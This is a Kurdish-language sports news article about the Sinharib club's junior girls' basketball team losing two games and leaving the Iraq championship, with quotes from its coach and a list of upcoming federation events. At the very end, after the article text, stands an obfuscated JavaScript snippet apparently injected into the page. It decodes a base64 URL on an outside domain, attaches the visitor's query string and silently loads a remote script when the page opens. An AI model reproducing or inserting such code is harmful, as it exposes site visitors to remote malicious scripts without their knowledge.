كچێن سەنحاریب دەست ڤالا ژ قارەمانییا ئیراقێ ڤەگەڕیان
قەیس وەیس:
تیما كچێن یانەیا سەنحاریب یا باسكێت بۆلێ ل سەر ئاستێ تازەپێگەهشتییان دەست ڤالان ژ قارەمانییا ئیراقێ ڤەگەڕیان، پشتی د دو یاریێن خوە یێن ئێكێ دا تووشی خوسارەتیێ بووین، د هەڤڕكیێن واندا ئەوا هەڤڕكیێن وان ل باژێرێ سلێمانیێ بەردەوامبن.
تیما تازەپێگەهشتیێن سەنحاریب دگەل هەر ئێك ژ غاز ئەلشیمال ب ئەنجامێ 63 خالان بەرانبەر 25 خالان و دگەل ئەكاد عەنكاوە ب 52 خالان بەرانبەر45 خالان تووشی خوسارەتیێ بوو و ژ هەڤڕكیێن قارەمانیێ دووركەڤت و دەستڤالا ڤەگەڕان، ئەوا حەفت یانە پشكداری تێدا كریین و یاریێن وان بشێوەیێ كەفتنا دو جاركی د هاتنە كرن
رەیان داود رەبەن راهێنەرێ تیما تازەپێگەهشتیێن سەنحاریب بۆ رۆژنامەیا ئەڤرۆ گۆت: هەرچەندە ئەم نەشیاین دەربازبنە قۆناغا دویێ لێ ئەو ئارمانجا مە دڤیایی كو مفایی ژێ وەربگریت گەهشتینێ، سەرباری پرانییا یاریزانێن مە بۆ جارا ئێكێ یە پشكداریێ تێدا دكەن، تیما مە نڤشەكێ نوو پێكهاتییە ئەڤە ژی پێنگاڤەكا باشە بەر ب دانانا شەنگستەكێ رێكستی بۆ پێشڤەچوونا ئاستێ ڤێ یاریێ ل پارێزگەهێ و یانەیا سەنحاریب، ئەز دەستخوەشیێ ل یاریزانێن خوە دكەم بۆ ئاستێ وان یێ بلند سەرباری ئەنجام نە ل دووڤ ئاستی بوون.
بۆ زانین فیدراسیۆنا باسكێت بۆلا ئیراقێ پلاتفۆرمە بۆ وەرزێ نوو یێ چالاكیان دانایە، ئەوژی قارەمانییا 3*3 ل سەر ئاستێ یانەیان بۆ كوڕان و بۆ كچان، ڤاڤارتنێن قارەمانییا پشكۆژان ژیێن 2010 كو دێ بنە پێنج دەڤەر و هەر دەڤەرەكێ دو یانە سەركەڤنە قۆناغا دووماهیێ، قارەمانییا تازەپێگەهشتییان ل سەر ئاستێ كچان، دیسان قۆناغا ئێكێ یا قارەمانییا كچان بۆ پێشكەفتیان هەولێر دێ ل 15ێ تەباخا بهێت مێڤاندارییا وێ كەت، قۆناغا دویێ دێ دهۆك ل 12 ئەیلۆنا بهێت مێڤانداریێ كەت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
